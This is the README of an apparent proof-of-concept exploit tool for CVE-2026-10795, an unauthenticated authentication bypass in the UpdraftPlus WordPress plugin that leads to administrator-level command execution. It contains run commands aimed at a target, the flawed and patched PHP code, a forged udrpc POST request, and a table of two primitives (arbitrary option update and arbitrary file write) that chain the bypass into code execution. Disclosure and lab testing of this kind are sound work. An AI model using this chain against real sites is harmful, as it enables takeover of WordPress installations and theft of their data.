PoC corrigido por IA para CVE-2026-10795 - apenas para fins educacionais - use por sua conta e risco em laboratórios que você possui ;)
Uma prova de conceito em arquivo único para o bypass de autenticação não autenticado do udrpc
no UpdraftPlus que leva à execução de comandos com privilégios de administrador.
[!WARNING] Apenas para testes autorizados. Use isto apenas contra sistemas que você possui ou para os quais tem permissão escrita explícita de teste. Executá-lo contra um site de terceiros é ilegal na maioria das jurisdições e não é o propósito deste projeto. O autor não assume qualquer responsabilidade por uso indevido ou danos.
| CVE | CVE-2026-10795 |
| Componente | UpdraftPlus (plugin de backup/restauração do WordPress) |
| Vulnerável | <= 1.26.4 (Premium <= 2.26.4) |
| Corrigido | 1.26.5 e posteriores (versão atual no momento da escrita: 1.26.14) |
| Classe | Bypass de autenticação → execução remota de código |
| CVSS 3.1 | 9.8 Crítico — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Autenticação | Nenhuma |
| Interação do usuário | Nenhuma |
| Pré-condições | Uma chave ativa do UpdraftCentral ou do Migrator no alvo |
O plugin expõe um listener de controle remoto (udrpc) usado pelo UpdraftCentral e pelo
Migrator. Em versões vulneráveis, esse listener aceita o formato de mensagem legado formato 1,
que não possui assinatura, e descriptografa a chave AES por mensagem com uma operação RSA
cuja falha nunca é verificada. Um atacante que fornece uma chave não descriptografável
obtém uma chave AES conhecida de todos os zeros, criptografa seu próprio comando, e o site o executa
como o usuário vinculado à chave — normalmente um administrador.
Esta PoC:
ping somente leitura e prova o bypass sem efeitos colaterais;git clone https://github.com/<your-org>/CVE-2026-10795.git
cd CVE-2026-10795
python3 -m pip install -r requirements.txt
# Read-only check: no writes, no posts, no files.
python3 cve-2026-10795.py -u https://target.example -k --max-keys 2 --verbose
Um alvo vulnerável retorna uma resposta udrpc criptografada e a ferramenta imprime:
0.central.updraftplus.com: HTTP 200, 976 bytes -> vulnerable
[+] VULNERABLE: authentication bypass succeeded (CVE-2026-10795).
Um alvo corrigido rejeita a mensagem em vez disso:
0.central.updraftplus.com: HTTP 200, 0 bytes -> blocked
[-] Key name is valid, but the forged message was rejected.
This normally means the plugin is patched (>= 1.26.5).
decrypt_message() divide o blob fornecido pelo atacante em uma chave simétrica encapsulada por RSA
e um texto cifrado AES, depois descriptografa a chave e usa imediatamente o resultado:
// class-udrpc2.php (1.25.9), decrypt_message()
$rsa->loadKey($this->key_local);
$sym_key = base64_decode($sym_key);
$sym_key = $rsa->decrypt($sym_key); // returns false on malformed input
$rij->setKey($sym_key); // false -> zero-length / all-zero key
return $rij->decrypt($ciphertext);
phpseclib retorna false quando a operação RSA falha. Passar false para
Crypt_Rijndael::setKey() produz uma chave AES-128 totalmente zerada em vez de um erro. O
atacante, portanto, conhece a chave que será usada para descriptografar seu próprio payload.
A correção do fornecedor adiciona uma verificação de tipo e comprimento antes que a chave seja usada:
$sym_key = $rsa->decrypt($sym_key);
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
O formato 2 assina cada mensagem com a chave pública do site. O formato 1 é anterior a isso e é processado sem qualquer verificação de assinatura, portanto nenhum material de chave é necessário:
POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
format=1&key_name=0.central.updraftplus.com&udrpc_message=<encrypted command>
A correção na 1.26.5 restringe o formato 1 aos quatro comandos do Migrator que ainda precisam dele, e apenas para nomes de chave que correspondam ao padrão do Migrator:
// Restrict use of format 1
if ($format < 2 && (!in_array($command, array('ping', 'get_file_status', 'send_chunk', 'upload_complete'))
|| !preg_match('/^([a-f0-9]+)\.migrator\.updraftplus\.com$/', $this->key_name_indicator))) {
$this->log("Obsolete format used - dropping (command: $command)", 'error');
die;
}
O bypass por si só é um bypass de autenticação. Ele se torna execução de código porque os módulos de comando do UpdraftCentral expõem duas primitivas:
| Primitiva | Arquivo | O que permite |
|---|---|---|
comments.update_settings | central/modules/comments.php | Chama update_option() em qualquer chave fornecida — incluindo upload_path e stylesheet. |
posts.save → attach_remote_image() | central/modules/posts.php | Grava bytes fornecidos pelo atacante em wp_upload_dir()['path'] . '/' . basename($url) antes de qualquer verificação de tipo de arquivo. |
Nenhuma das primitivas valida sua entrada na 1.26.14, e a correção do fornecedor para esta CVE não altera isso. Elas estão documentadas como lacunas de defesa em profundidade no relatório de avaliação que as acompanha, porque qualquer futuro bypass de autenticação — ou qualquer chave do UpdraftCentral roubada — reativa a mesma cadeia.